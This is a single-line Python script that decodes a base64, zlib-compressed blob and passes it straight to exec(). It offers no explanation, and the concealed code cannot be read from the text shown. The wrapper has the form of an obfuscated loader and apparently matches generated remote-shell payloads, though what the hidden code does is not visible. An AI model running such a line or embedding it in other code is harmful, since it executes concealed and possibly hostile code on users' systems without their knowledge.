exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/IrckGENdalcXK4h4EBHB3ZvI0ibjGpomIclqVfzvbsjiZYb35s2bDz15FxKOTo6Q+LfRAx/6CG3DYwp7mXjSE6A3F/CMtcWhtzugZzVboSqFr0OsYleaRUl0wY94/XT7sF1vnu9uHlnWCemsBZkoJRciSS/sLrhRaEf44nLZ1iyrhgD9iCqYJfiU7fN8EQ2Ap+cMma6sJfbW93Kk5Pqe8CgCyA/aMPZSvyLVHbFh6PNdG8AGLFXsyhzs1Ml/9bTQDMEMkubLhQLpJh8gRlqeIIa2yaSCrOQ/JJJV/GXoD1xyYd4=')[0])))